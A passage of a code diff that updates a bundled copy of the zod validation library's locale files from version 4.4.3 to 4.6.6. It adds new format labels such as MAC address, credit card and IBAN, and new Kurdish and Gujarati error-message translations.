\u09A1\u09BF\u09B8\u0995\u09CD\u09B0\u09BF\u09AE\u09BF\u09A8\u09C7\u099F\u09B0 \u09AE\u09BE\u09A8\u0964 \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${opts}`; + } + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + case "invalid_element": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u09AE\u09BE\u09A8`; + default: + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + } + }; +}; +function bn_default() { + return { + localeError: error5() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ca.js +var error6 = () => { const Sizable = { string: { unit: "car\xE0cters", verb: "contenir" }, file: { unit: "bytes", verb: "contenir" }, array: { unit: "elements", verb: "contenir" }, - set: { unit: "elements", verb: "contenir" } + set: { unit: "elements", verb: "contenir" }, + map: { unit: "elements", verb: "contenir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59690,12 +60803,16 @@ var error5 = () => { duration: "durada ISO", ipv4: "adre\xE7a IPv4", ipv6: "adre\xE7a IPv6", + mac: "adre\xE7a MAC", cidrv4: "rang IPv4", cidrv6: "rang IPv6", base64: "cadena codificada en base64", base64url: "cadena codificada en base64url", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de targeta de cr\xE8dit", + currency_code: "codi de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -59763,17 +60880,151 @@ var error5 = () => { }; function ca_default() { return { - localeError: error5() + localeError: error6() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/cs.js -var error6 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ckb.js +var error7 = () => { + const Sizable = { + string: { unit: "\u067E\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + array: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + set: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + map: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regex", + email: "\u0626\u06CC\u0645\u06D5\u06CC\u06B5", + url: "\u0628\u06D5\u0633\u062A\u06D5\u0631 (URL)", + emoji: "\u0626\u06CC\u0645\u06C6\u062C\u06CC", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0695\u06CE\u06A9\u06D5\u0648\u062A \u0648 \u06A9\u0627\u062A", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + time: "\u06A9\u0627\u062A", + duration: "\u0645\u0627\u0648\u06D5", + ipv4: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv4", + ipv6: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv6", + mac: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC MAC", + cidrv4: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv4", + cidrv6: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv6", + base64: "\u062F\u06D5\u0642\u06CC base64", + base64url: "\u062F\u06D5\u0642\u06CC base64url", + json_string: "\u062F\u06D5\u0642\u06CC JSON", + e164: "\u0698\u0645\u0627\u0631\u06D5\u06CC E.164", + credit_card: "\u0698\u0645\u0627\u0631\u06D5\u06CC \u06A9\u0627\u0631\u062A\u06CC \u06A9\u0631\u06CE\u062F\u06CC\u062A", + currency_code: "\u06A9\u06C6\u062F\u06CC \u062F\u0631\u0627\u0648", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u062A\u06CE\u06A9\u0631\u062F\u06D5" + }; + const TypeDictionary = { + nan: "NaN", + string: "\u0646\u0648\u0648\u0633\u06CC\u0646", + number: "\u0698\u0645\u0627\u0631\u06D5", + boolean: "boolean", + array: "array", + object: "object", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + integer: "\u0698\u0645\u0627\u0631\u06D5", + float: "\u0698\u0645\u0627\u0631\u06D5", + null: "null", + undefined: "undefined", + function: "function", + symbol: "symbol", + unknown: "unknown", + promise: "promise", + void: "void", + never: "never", + map: "map", + set: "set" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + const postfix = ["\u0627", "\u0648", "\u06C6", "\u0648\u0648", "\u06D5", "\u06CC", "\u06CE"].some((p) => received.endsWith(p)) ? "\u06CC\u06D5" : "\u06D5"; + const isEnglish = /^[a-zA-Z]+$/.test(received); + if (receivedType === "null" || receivedType === "undefined") + return `\u062F\u0627\u0648\u0627\u06A9\u0631\u0627\u0648\u06D5`; + return `\u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${expected} \u0628\u06CE\u062A\u060C \u0628\u06D5\u06B5\u0627\u0645 ${received}${isEnglish ? "" : postfix}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0648\u0633\u062A\u06D5: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${stringifyPrimitive(issue2.values[0])} \u0628\u06CE\u062A`; + return `\u0647\u06D5\u06B5\u0628\u0698\u0627\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 \u06CC\u06D5\u06A9\u06CE\u06A9 \u0628\u06CE\u062A \u0644\u06D5 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} \u0628\u06CE\u062A`; + } + case "too_small": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} \u0628\u06CE\u062A`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u062F\u06D5\u0633\u062A\u067E\u06CE\u0628\u06A9\u0627\u062A \u0628\u06D5 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u06A9\u06C6\u062A\u0627\u06CC\u06CC\u0628\u06CE\u062A \u0628\u06D5 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 "${_issue.includes}" \u0644\u06D5\u062E\u06C6\u0628\u06AF\u0631\u06CE\u062A`; + if (_issue.format === "regex") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0644\u06D5\u06AF\u06D5\u06B5 \u067E\u0627\u062A\u06CE\u0631\u0646\u06CC ${_issue.pattern} \u0628\u06AF\u0648\u0646\u062C\u06CE\u062A`; + return `\u0628\u06D5\u0647\u0627\u06CC ${FormatDictionary[_issue.format] ?? issue2.format} \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + } + case "not_multiple_of": + return `\u0698\u0645\u0627\u0631\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u062F\u06D5\u0628\u06CE\u062A \u0686\u06D5\u0646\u062F \u0647\u06CE\u0646\u062F\u06D5 \u0628\u06CE\u062A \u0628\u06C6 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A \u0644\u06D5 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0628\u06D5\u0647\u0627\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648 \u0647\u06D5\u06CC\u06D5. \u0628\u06D5\u0647\u0627\u06CC \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648: ${opts}`; + } + return "\u06CC\u06D5\u06A9\u06AF\u0631\u062A\u0646\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A"; + case "invalid_element": + return `${issue2.origin} \u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + default: + return `\u062A\u06CE\u06A9\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A`; + } + }; +}; +function ckb_default() { + return { + localeError: error7() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/cs.js +var error8 = () => { const Sizable = { string: { unit: "znak\u016F", verb: "m\xEDt" }, file: { unit: "bajt\u016F", verb: "m\xEDt" }, array: { unit: "prvk\u016F", verb: "m\xEDt" }, - set: { unit: "prvk\u016F", verb: "m\xEDt" } + set: { unit: "prvk\u016F", verb: "m\xEDt" }, + map: { unit: "prvk\u016F", verb: "m\xEDt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59799,12 +61050,16 @@ var error6 = () => { duration: "doba trv\xE1n\xED ISO", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "rozsah IPv4", cidrv6: "rozsah IPv6", base64: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64", base64url: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64url", json_string: "\u0159et\u011Bzec ve form\xE1tu JSON", e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditn\xED karty", + currency_code: "k\xF3d m\u011Bny", + iban: "IBAN", jwt: "JWT", template_literal: "vstup" }; @@ -59875,17 +61130,18 @@ var error6 = () => { }; function cs_default() { return { - localeError: error6() + localeError: error8() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/da.js -var error7 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/da.js +var error9 = () => { const Sizable = { string: { unit: "tegn", verb: "havde" }, file: { unit: "bytes", verb: "havde" }, array: { unit: "elementer", verb: "indeholdt" }, - set: { unit: "elementer", verb: "indeholdt" } + set: { unit: "elementer", verb: "indeholdt" }, + map: { unit: "elementer", verb: "indeholdt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59909,14 +61165,18 @@ var error7 = () => { date: "ISO-dato", time: "ISO-klokkesl\xE6t", duration: "ISO-varighed", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodet streng", base64url: "base64url-kodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kreditkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -59991,17 +61251,18 @@ var error7 = () => { }; function da_default() { return { - localeError: error7() + localeError: error9() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/de.js -var error8 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/de.js +var error10 = () => { const Sizable = { string: { unit: "Zeichen", verb: "zu haben" }, file: { unit: "Bytes", verb: "zu haben" }, array: { unit: "Elemente", verb: "zu haben" }, - set: { unit: "Elemente", verb: "zu haben" } + set: { unit: "Elemente", verb: "zu haben" }, + map: { unit: "Elemente", verb: "zu haben" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60027,12 +61288,16 @@ var error8 = () => { duration: "ISO-Dauer", ipv4: "IPv4-Adresse", ipv6: "IPv6-Adresse", + mac: "MAC-Adresse", cidrv4: "IPv4-Bereich", cidrv6: "IPv6-Bereich", base64: "Base64-codierter String", base64url: "Base64-URL-codierter String", json_string: "JSON-String", e164: "E.164-Nummer", + credit_card: "Kreditkartennummer", + currency_code: "W\xE4hrungscode", + iban: "IBAN", jwt: "JWT", template_literal: "Eingabe" }; @@ -60100,12 +61365,12 @@ var error8 = () => { }; function de_default() { return { - localeError: error8() + localeError: error10() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/el.js -var error9 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/el.js +var error11 = () => { const Sizable = { string: { unit: "\u03C7\u03B1\u03C1\u03B1\u03BA\u03C4\u03AE\u03C1\u03B5\u03C2", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, file: { unit: "bytes", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, @@ -60144,6 +61409,9 @@ var error9 = () => { base64url: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC \u03BA\u03C9\u03B4\u03B9\u03BA\u03BF\u03C0\u03BF\u03B9\u03B7\u03BC\u03AD\u03BD\u03B7 \u03C3\u03B5 base64url", json_string: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC JSON", e164: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 E.164", + credit_card: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 \u03C0\u03B9\u03C3\u03C4\u03C9\u03C4\u03B9\u03BA\u03AE\u03C2 \u03BA\u03AC\u03C1\u03C4\u03B1\u03C2", + currency_code: "\u03BA\u03C9\u03B4\u03B9\u03BA\u03CC\u03C2 \u03BD\u03BF\u03BC\u03AF\u03C3\u03BC\u03B1\u03C4\u03BF\u03C2", + iban: "IBAN", jwt: "JWT", template_literal: "\u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2" }; @@ -60210,12 +61478,12 @@ var error9 = () => { }; function el_default() { return { - localeError: error9() + localeError: error11() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/en.js -var error10 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/en.js +var error12 = () => { const Sizable = { string: { unit: "characters", verb: "to have" }, file: { unit: "bytes", verb: "to have" }, @@ -60254,6 +61522,9 @@ var error10 = () => { base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + currency_code: "currency code", + credit_card: "credit card number", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -60262,12 +61533,18 @@ var error10 = () => { nan: "NaN" // All other type names omitted - they fall back to raw values via ?? operator }; + function getTypeName(type, input2) { + if (type === "number" && typeof input2 === "number" && !Number.isFinite(input2)) { + return String(input2); + } + return TypeDictionary[type] ?? type; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = getTypeName(issue2.expected); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; + const received = getTypeName(receivedType, issue2.input); return `Invalid input: expected ${expected}, received ${received}`; } case "invalid_value": @@ -60275,14 +61552,14 @@ var error10 = () => { return `Invalid input: expected ${stringifyPrimitive(issue2.values[0])}`; return `Invalid option: expected one of ${joinValues(issue2.values, "|")}`; case "too_big": { - const adj = issue2.inclusive ? "<=" : "<"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) return `Too big: expected ${issue2.origin ?? "value"} to have ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elements"}`; return `Too big: expected ${issue2.origin ?? "value"} to be ${adj}${issue2.maximum.toString()}`; } case "too_small": { - const adj = issue2.inclusive ? ">=" : ">"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { return `Too small: expected ${issue2.origin} to have ${adj}${issue2.minimum.toString()} ${sizing.unit}`; @@ -60313,6 +61590,9 @@ var error10 = () => { const opts = issue2.options.map((o) => `'${o}'`).join(" | "); return `Invalid discriminator value. Expected ${opts}`; } + if (issue2.inclusive === false) { + return "Invalid input: more than one option matched"; + } return "Invalid input"; case "invalid_element": return `Invalid value in ${issue2.origin}`; @@ -60323,17 +61603,18 @@ var error10 = () => { }; function en_default() { return { - localeError: error10() + localeError: error12() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/eo.js -var error11 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/eo.js +var error13 = () => { const Sizable = { string: { unit: "karaktrojn", verb: "havi" }, file: { unit: "bajtojn", verb: "havi" }, array: { unit: "elementojn", verb: "havi" }, - set: { unit: "elementojn", verb: "havi" } + set: { unit: "elementojn", verb: "havi" }, + map: { unit: "elementojn", verb: "havi" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60359,12 +61640,16 @@ var error11 = () => { duration: "ISO-da\u016Dro", ipv4: "IPv4-adreso", ipv6: "IPv6-adreso", + mac: "MAC-adreso", cidrv4: "IPv4-rango", cidrv6: "IPv6-rango", base64: "64-ume kodita karaktraro", base64url: "URL-64-ume kodita karaktraro", json_string: "JSON-karaktraro", e164: "E.164-nombro", + credit_card: "kreditkarta numero", + currency_code: "valuta kodo", + iban: "IBAN", jwt: "JWT", template_literal: "enigo" }; @@ -60433,12 +61718,12 @@ var error11 = () => { }; function eo_default() { return { - localeError: error11() + localeError: error13() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/es.js -var error12 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/es.js +var error14 = () => { const Sizable = { string: { unit: "caracteres", verb: "tener" }, file: { unit: "bytes", verb: "tener" }, @@ -60469,12 +61754,16 @@ var error12 = () => { duration: "duraci\xF3n ISO", ipv4: "direcci\xF3n IPv4", ipv6: "direcci\xF3n IPv6", + mac: "direcci\xF3n MAC", cidrv4: "rango IPv4", cidrv6: "rango IPv6", base64: "cadena codificada en base64", base64url: "URL codificada en base64", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de tarjeta de cr\xE9dito", + currency_code: "c\xF3digo de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -60566,17 +61855,18 @@ var error12 = () => { }; function es_default() { return { - localeError: error12() + localeError: error14() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fa.js -var error13 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fa.js +var error15 = () => { const Sizable = { string: { unit: "\u06A9\u0627\u0631\u0627\u06A9\u062A\u0631", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, array: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, - set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } + set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, + map: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60602,12 +61892,16 @@ var error13 = () => { duration: "\u0645\u062F\u062A \u0632\u0645\u0627\u0646 \u0627\u06CC\u0632\u0648", ipv4: "IPv4 \u0622\u062F\u0631\u0633", ipv6: "IPv6 \u0622\u062F\u0631\u0633", + mac: "MAC \u0622\u062F\u0631\u0633", cidrv4: "IPv4 \u062F\u0627\u0645\u0646\u0647", cidrv6: "IPv6 \u062F\u0627\u0645\u0646\u0647", base64: "base64-encoded \u0631\u0634\u062A\u0647", base64url: "base64url-encoded \u0631\u0634\u062A\u0647", json_string: "JSON \u0631\u0634\u062A\u0647", e164: "E.164 \u0639\u062F\u062F", + credit_card: "\u0634\u0645\u0627\u0631\u0647 \u06A9\u0627\u0631\u062A \u0627\u0639\u062A\u0628\u0627\u0631\u06CC", + currency_code: "\u06A9\u062F \u0627\u0631\u0632", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u06CC" }; @@ -60681,17 +61975,18 @@ var error13 = () => { }; function fa_default() { return { - localeError: error13() + localeError: error15() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fi.js -var error14 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fi.js +var error16 = () => { const Sizable = { string: { unit: "merkki\xE4", subject: "merkkijonon" }, file: { unit: "tavua", subject: "tiedoston" }, array: { unit: "alkiota", subject: "listan" }, set: { unit: "alkiota", subject: "joukon" }, + map: { unit: "alkiota", subject: "kuvauksen" }, number: { unit: "", subject: "luvun" }, bigint: { unit: "", subject: "suuren kokonaisluvun" }, int: { unit: "", subject: "kokonaisluvun" }, @@ -60721,12 +62016,16 @@ var error14 = () => { duration: "ISO-kesto", ipv4: "IPv4-osoite", ipv6: "IPv6-osoite", + mac: "MAC-osoite", cidrv4: "IPv4-alue", cidrv6: "IPv6-alue", base64: "base64-koodattu merkkijono", base64url: "base64url-koodattu merkkijono", json_string: "JSON-merkkijono", e164: "E.164-luku", + credit_card: "luottokortin numero", + currency_code: "valuuttakoodi", + iban: "IBAN", jwt: "JWT", template_literal: "templaattimerkkijono" }; @@ -60794,12 +62093,12 @@ var error14 = () => { }; function fi_default() { return { - localeError: error14() + localeError: error16() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr.js -var error15 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr.js +var error17 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, @@ -60810,7 +62109,7 @@ var error15 = () => { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "entr\xE9e", + regex: "expression r\xE9guli\xE8re", email: "adresse e-mail", url: "URL", emoji: "emoji", @@ -60830,17 +62129,21 @@ var error15 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", - base64: "cha\xEEne encod\xE9e en base64", - base64url: "cha\xEEne encod\xE9e en base64url", - json_string: "cha\xEEne JSON", - e164: "num\xE9ro E.164", + base64: "cha\xEEne de caract\xE8res encod\xE9e en base64", + base64url: "cha\xEEne de caract\xE8res encod\xE9e en base64url", + json_string: "cha\xEEne de caract\xE8res JSON", + e164: "num\xE9ro au format E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; const TypeDictionary = { - string: "cha\xEEne", + string: "cha\xEEne de caract\xE8res", number: "nombre", int: "entier", boolean: "bool\xE9en", @@ -60854,11 +62157,11 @@ var error15 = () => { array: "tableau", object: "objet", tuple: "tuple", - record: "enregistrement", - map: "carte", + record: "record", + map: "map", set: "ensemble", file: "fichier", - nonoptional: "non-optionnel", + nonoptional: "non optionnel", nan: "NaN", function: "fonction" }; @@ -60869,7 +62172,7 @@ var error15 = () => { const receivedType = parsedType(issue2.input); const received = TypeDictionary[receivedType] ?? receivedType; if (/^[A-Z]/.test(issue2.expected)) { - return `Entr\xE9e invalide : instanceof ${issue2.expected} attendu, ${received} re\xE7u`; + return `Entr\xE9e invalide : instance de ${issue2.expected} attendu, ${received} re\xE7u`; } return `Entr\xE9e invalide : ${expected} attendu, ${received} re\xE7u`; } @@ -60894,13 +62197,13 @@ var error15 = () => { case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") - return `Cha\xEEne invalide : doit commencer par "${_issue.prefix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit commencer par "${_issue.prefix}"`; if (_issue.format === "ends_with") - return `Cha\xEEne invalide : doit se terminer par "${_issue.suffix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit se terminer par "${_issue.suffix}"`; if (_issue.format === "includes") - return `Cha\xEEne invalide : doit inclure "${_issue.includes}"`; + return `Cha\xEEne de caract\xE8res invalide : doit inclure "${_issue.includes}"`; if (_issue.format === "regex") - return `Cha\xEEne invalide : doit correspondre au mod\xE8le ${_issue.pattern}`; + return `Cha\xEEne de caract\xE8res invalide : doit correspondre au motif ${_issue.pattern}`; return `${FormatDictionary[_issue.format] ?? issue2.format} invalide`; } case "not_multiple_of": @@ -60920,17 +62223,18 @@ var error15 = () => { }; function fr_default() { return { - localeError: error15() + localeError: error17() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr-CA.js -var error16 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr-CA.js +var error18 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, array: { unit: "\xE9l\xE9ments", verb: "avoir" }, - set: { unit: "\xE9l\xE9ments", verb: "avoir" } + set: { unit: "\xE9l\xE9ments", verb: "avoir" }, + map: { unit: "\xE9l\xE9ments", verb: "avoir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60956,12 +62260,16 @@ var error16 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", base64: "cha\xEEne encod\xE9e en base64", base64url: "cha\xEEne encod\xE9e en base64url", json_string: "cha\xEEne JSON", e164: "num\xE9ro E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; @@ -61028,12 +62336,126 @@ var error16 = () => { }; function fr_CA_default() { return { - localeError: error16() + localeError: error18() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/he.js -var error17 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/gu.js +var error19 = () => { + const Sizable = { + string: { unit: "\u0A85\u0A95\u0ACD\u0AB7\u0AB0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + file: { unit: "\u0AAC\u0ABE\u0AAF\u0A9F", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + array: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + set: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + map: { unit: "\u0A8F\u0AA8\u0ACD\u0A9F\u0ACD\u0AB0\u0AC0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F", + email: "\u0A88\u0AAE\u0AC7\u0A87\u0AB2 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + url: "URL", + emoji: "\u0A87\u0AAE\u0ACB\u0A9C\u0AC0", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO 